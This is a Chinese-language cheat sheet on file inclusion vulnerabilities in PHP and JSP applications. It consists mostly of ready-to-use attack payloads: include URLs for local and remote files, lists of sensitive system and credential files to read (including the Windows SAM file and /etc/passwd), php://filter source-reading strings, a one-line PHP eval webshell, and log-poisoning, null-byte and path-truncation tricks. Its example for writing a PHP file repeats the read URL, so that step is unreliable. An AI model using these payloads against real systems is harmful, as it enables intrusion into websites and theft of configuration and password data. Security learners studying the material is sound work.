文件包含基础
0x00 PHP包含
四个文件包含函数:include()、include_once()、require()、require_once()
漏洞样例代码
1
2
3
include($_GET['page'])漏洞使用样例
1
2
3
4//本地包含
url: 127.0.0.1/index.php?page=flag.txt
//远程包含(需要allow_url_include=on)
url: 127.0.0.1/index.php?page=127.0.0.2/shell.php漏洞作用
读取敏感文件
常见敏感文件
Windows1
2
3
4
5
6
7C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初始密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件Linux
1
2
3
4
5
6/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd/conf //apache配置文件
/etc/my.conf //Mysql配置文件远程包含shell
如样例- 本地包含配合文件上传
上传文件后,通过本地包含来访问它 使用php封装协议
读取php源码
1
http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
写入php文件(需要allow_url_include=on)
1
2
3url:http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
提交数据: <?php eval($_GET('pass')) ?>
生成的文件与index.php同目录详见PHP伪协议
包含apache日志文件
当无法上传文件时,可以通过调用apache的日志文件error.log来执行shell.
error.log会记录我们的错误请求,但其中的关键字符被转义(可通过burp绕过转义).- 截断包含(magic_quotes_gpc=off)
若服务器默认将你上传的文件加上扩展名,可利用00截断绕过
php老版本还有一个截断漏洞 index.php?page=shell.php././././././… //超过一定数量的”./“0x01 JSP包含
静态包含
include只允许使用常量作为参数,因此不存在文件包含漏洞1
<%@ include file="a.txt" %>
动态包含
jsp包含不是jsp扩展名的文件时不会对其解析
1
<jsp:incldue page="<%=pages%>"></jsp:include>
Servlet文件包含
1
url: 127.0.0.1/Jsp/GetHtml?filename=./WEB-INF/web.html&outName=out
将web.xml的内容转移到out.html
在服务器跳转时,通常会使用RequestDispatcher接口中的forward的方法.在url转发过程中,会暴露web.xml1
url: 127.0.0.1/Jsp/Forward?pathName=./WEB-INF/web.xml